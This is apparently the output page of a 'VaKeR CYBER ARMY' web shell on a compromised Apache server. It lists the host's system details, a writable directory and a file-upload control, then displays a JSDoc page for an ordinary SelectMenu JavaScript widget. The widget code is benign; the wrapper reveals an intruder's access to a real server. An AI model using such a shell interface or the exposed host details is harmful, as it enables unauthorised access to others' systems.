VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-acomp/out/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-acomp/out/SelectMenu2.js.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>JSDoc: Source: SelectMenu2.js</title>

    <script src="scripts/prettify/prettify.js"> </script>
    <script src="scripts/prettify/lang-css.js"> </script>
    <!--[if lt IE 9]>
      <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
</head>

<body>

<div id="main">

    <h1 class="page-title">Source: SelectMenu2.js</h1>

    



    
    <section>
        <article>
            <pre class="prettyprint source linenums"><code>import '../css/selectmenu.css';

import ACore, { _, $ } from "../ACore";
import EventEmitter from "absol/src/HTML5/EventEmitter";
import Dom, { getScreenSize, traceOutBoundingClientRect } from "absol/src/HTML5/Dom";
import OOP from "absol/src/HTML5/OOP";


ACore.creator['dropdown-ico'] = function () {
    return _([
        '&lt;svg class="dropdown" width="100mm" height="100mm" version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">',
        '&lt;g transform="translate(0,-197)">',
        '&lt;path d="m6.3152 218.09a4.5283 4.5283 0 0 0-3.5673 7.3141l43.361 55.641a4.5283 4.5283 0 0 0 7.1421 7e-3l43.496-55.641a4.5283 4.5283 0 0 0-3.5673-7.3216z" />',
        '&lt;/g>',
        '&lt;/svg>'
    ].join(''));
};


/***
 * @extends AElement
 * @constructor
 */
function SelectMenu() {
    this._value = null;
    this._lastValue = null;
    this.$holderItem = $('.absol-selectmenu-holder-item', this);
    this.$viewItem = $('.absol-selectmenu-holder-item selectlistitem', this);
    /***
     *
     * @type {SelectListBox}
     */
    this.$selectlistBox = _({
        tag: 'selectlistbox',
        props: {
            anchor: [1, 6, 2, 5],
            strictValue: true
        },
        on: {
            preupdateposition: this.eventHandler.preUpdateListPosition
        }
    });
    this.$selectlistBox.on('pressitem', this.eventHandler.selectListBoxPressItem);
    this.$selectlistBox.followTarget = this;
    OOP.drillProperty(this, this.$selectlistBox, 'enableSearch');
    OOP.drillProperty(this, this, 'selectedvalue', 'value');
    this.strictValue = true;

    this._lastValue = "NOTHING_VALUE";
    this._isFocus = false;
    this.isFocus = false;

    this.on('mousedown', this.eventHandler.click, true);
    /***
     * @name items
     * @type {[]}
     * @memberOf SelectMenu#
     */

}

SelectMenu.tag = 'selectmenu';
SelectMenu.render = function () {
    return _({
        class: ['absol-selectmenu', 'as-select-menu'],
        extendEvent: ['change'],
        attr: {
            tabindex: '1'
        },
        child: [
            {
                class: 'absol-selectmenu-holder-item',
                child: 'selectlistitem'
            },
            {
                tag: 'button',
                class: 'absol-selectmenu-btn',
                child: ['dropdown-ico']
            }
        ]
    });
};


SelectMenu.prototype.init = function (props) {
    props = props || {};
    Object.keys(props).forEach(function (key) {
        if (props[key] === undefined) delete props[key];
    });
    if ('selectedvalue' in props) {
        props.value = props.selectedvalue;
    }
    if (!('value' in props)) {
        if (props.items &amp;&amp; props.items.length > 0) props.value = typeof props.items[0] == 'string' ? props.items[0] : props.items[0].value;
    }
    var value = props.value;
    delete props.value;
    this.super(props);
    this.value = value;
};


SelectMenu.prototype.updateItem = function () {
    var value = this._explicit(this._value);
    var selectedItems = this.$selectlistBox.findDisplayItemsByValue(value);
    if (selectedItems.length >= 1) {
        this.$viewItem.data = selectedItems[0].item;
    }
    else {
        this.$viewItem.data = { text: '', value: null }
    }
};


SelectMenu.prototype.findItemsByValue = function (value) {
    return this.$selectlistBox.findItemsByValue(value);
};


SelectMenu.prototype._explicit = function (value) {
    var items = this.$selectlistBox.findItemsByValue(value);
    if (items.length > 0 || !this.strictValue || this.items.length === 0) {
        return value;
    }
    else {
        return this.items[0].value;
    }
};


SelectMenu.property = {};
SelectMenu.property.items = {
    set: function (items) {
        items = items || [];
        this.$selectlistBox.items = items;
        this.addStyle('--select-list-estimate-width', (this.$selectlistBox._estimateWidth)/14 + 'em');
        this.addStyle('--select-list-desc-width', (this.$selectlistBox._estimateDescWidth)/14 + 'em');
        this.updateItem();
    },
    get: function () {
        return this.$selectlistBox.items;
    }
};

SelectMenu.property.value = {
    set: function (value) {
        this.$selectlistBox.values = [value];
        this._lastValue = value;
        this._value = value;
        this.updateItem();
    },
    get: function () {
        return this._explicit(this._value);
    }
};

/***
 *
 * @type {SelectMenu|{}}
 */
SelectMenu.property.isFocus = {
    set: function (value) {
        var thisSM = this;
        if (!this.items || this.items.length === 0) value = false;//prevent focus
        if (this._isFocus === value) return;
        this._isFocus = !!value;
        if (this._isFocus) {
            document.body.appendChild(this.$selectlistBox);
            this.$selectlistBox.domSignal.$attachhook.emit('attached');
            var bound = this.getBoundingClientRect();
            this.$selectlistBox.addStyle('min-width', bound.width + 'px');
            this.$selectlistBox.refollow();
            this.$selectlistBox.updatePosition();
            setTimeout(function () {
                thisSM.$selectlistBox.focus();
                document.addEventListener('click', thisSM.eventHandler.bodyClick);
            }, 100);
            this.$selectlistBox.viewListAtFirstSelected();
        }
        else {
            document.removeEventListener('click', thisSM.eventHandler.bodyClick);
            this.$selectlistBox.selfRemove();
            this.$selectlistBox.unfollow();
            this.$selectlistBox.resetSearchState();
        }
    },
    get: function () {
        return this._isFocus;
    }
};


SelectMenu.property.disabled = {
    set: function (value) {
        if (value) {
            this.addClass('as-disabled');
        }
        else {
            this.removeClass('as-disabled');
        }
    },
    get: function () {
        return this.hasClass('as-disabled');
    }
};


SelectMenu.property.hidden = {
    set: function (value) {
        if (value) {
            this.addClass('as-hidden');
        }
        else {
            this.removeClass('as-hidden');
        }
    },
    get: function () {
        return this.addClass('as-hidden');
    }
};

SelectMenu.property.selectedIndex = {
    get: function () {
        var selectedItems = this.$selectlistBox.findItemsByValue(this._value);
        if (selectedItems.length > 0) {
            return selectedItems[0].idx;
        }
        return -1;
    }
};


SelectMenu.property.strictValue = {
    set: function (value) {
        if (value) {
            this.attr('data-strict-value', null);
        }
        else {
            this.attr('data-strict-value', 'false');
        }
        this.updateItem();
    },
    get: function () {
        return !this.attr('data-strict-value') || (this.attr('data-strict-value') !== 'false' &amp;&amp; this.attr('data-strict-value') !== '0');
    }
};

SelectMenu.property.readOnly = {
    set: function (value) {
        if (value) {
            this.addClass('as-read-only');
        }
        else {
            this.removeClass('as-read-only');
        }
    },
    get: function () {
        return this.hasClass('as-read-only');
    }
};


/**
 * @type {SelectMenu|{}}
 */
SelectMenu.eventHandler = {};


SelectMenu.eventHandler.click = function (event) {
    if (this.readOnly) return;
    if (EventEmitter.isMouseRight(event)) return;
    if (EventEmitter.hitElement(this.$selectlistBox, event)) return;
    this.isFocus = !this.isFocus;
};


SelectMenu.eventHandler.bodyClick = function (event) {
    if (!EventEmitter.hitElement(this, event) &amp;&amp; !EventEmitter.hitElement(this.$selectlistBox, event)) {
        setTimeout(function () {
            this.isFocus = false;
        }.bind(this), 5)
    }
};

SelectMenu.eventHandler.selectListBoxPressItem = function (event) {
    this._value = event.data.value;
    this.$selectlistBox.values = [this._value];
    this.updateItem();
    if (this._lastValue !== this.value) {
        event.lastValue = this._lastValue;
        event.value = this.value;
        setTimeout(function () {
            this.emit('change', event, this);
        }.bind(this), 1)
        this._lastValue = this.value;

    }
    setTimeout(function () {
        this.isFocus = false;
    }.bind(this), 50)
};

SelectMenu.eventHandler.preUpdateListPosition = function () {
    var bound = this.getBoundingClientRect();
    var screenSize = getScreenSize();
    var availableTop = bound.top - 5;
    var availableBot = screenSize.height - 5 - bound.bottom;
    this.$selectlistBox.addStyle('--max-height', Math.max(availableBot, availableTop) + 'px');
    var outBound = traceOutBoundingClientRect(this);
    if (bound.bottom &lt; outBound.top || bound.top > outBound.bottom || bound.right &lt; outBound.left || bound.left > outBound.right) {
        this.isFocus = false;
    }
};


ACore.install(SelectMenu);

export default SelectMenu;
</code></pre>
        </article>
    </section>




</div>

<nav>
    <h2><a href="index.html">Home</a></h2><h3>Classes</h3><ul><li><a href="CalendarInput.html">CalendarInput</a></li><li><a href="CandyBoxButton.html">CandyBoxButton</a></li><li><a href="ChromeCalendar.html">ChromeCalendar</a></li><li><a href="CircleSectionLabel.html">CircleSectionLabel</a></li><li><a href="Cluster.html">Cluster</a></li><li><a href="ClusterIconInfo.html">ClusterIconInfo</a></li><li><a href="ClusterIconStyle.html">ClusterIconStyle</a></li><li><a href="ContextCaptor.html">ContextCaptor</a></li><li><a href="DateInput.html">DateInput</a></li><li><a href="DateInput2.html">DateInput2</a></li><li><a href="DropPanel.html">DropPanel</a></li><li><a href="DropPanelStack.html">DropPanelStack</a></li><li><a href="FlexiconButton.html">FlexiconButton</a></li><li><a href="MarkerClusterer.html">MarkerClusterer</a></li><li><a href="MarkerClustererOptions.html">MarkerClustererOptions</a></li><li><a href="SearchTextInput.html">SearchTextInput</a></li><li><a href="Sprite.html">Sprite</a></li><li><a href="Time24Input.html">Time24Input</a></li></ul><h3>Events</h3><ul><li><a href="MarkerClusterer.html#event:click">click</a></li><li><a href="MarkerClusterer.html#event:clusteringbegin">clusteringbegin</a></li><li><a href="MarkerClusterer.html#event:clusteringend">clusteringend</a></li><li><a href="MarkerClusterer.html#event:mouseout">mouseout</a></li><li><a href="MarkerClusterer.html#event:mouseover">mouseover</a></li></ul><h3>Global</h3><ul><li><a href="global.html#$windowTitleText">$windowTitleText</a></li><li><a href="global.html#AddIcon">AddIcon</a></li><li><a href="global.html#calcMinHMTime">calcMinHMTime</a></li><li><a href="global.html#cleanMenuItemProperty">cleanMenuItemProperty</a></li><li><a href="global.html#preventNotNumberInput">preventNotNumberInput</a></li><li><a href="global.html#vScrollIntoView">vScrollIntoView</a></li></ul>
</nav>

<br class="clear">

<footer>
    Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 4.0.0</a> on Wed Jan 04 2023 18:18:58 GMT+0700 (Indochina Time)
</footer>

<script> prettyPrint(); </script>
<script src="scripts/linenumber.js"> </script>
</body>
</html>

VaKeR 2022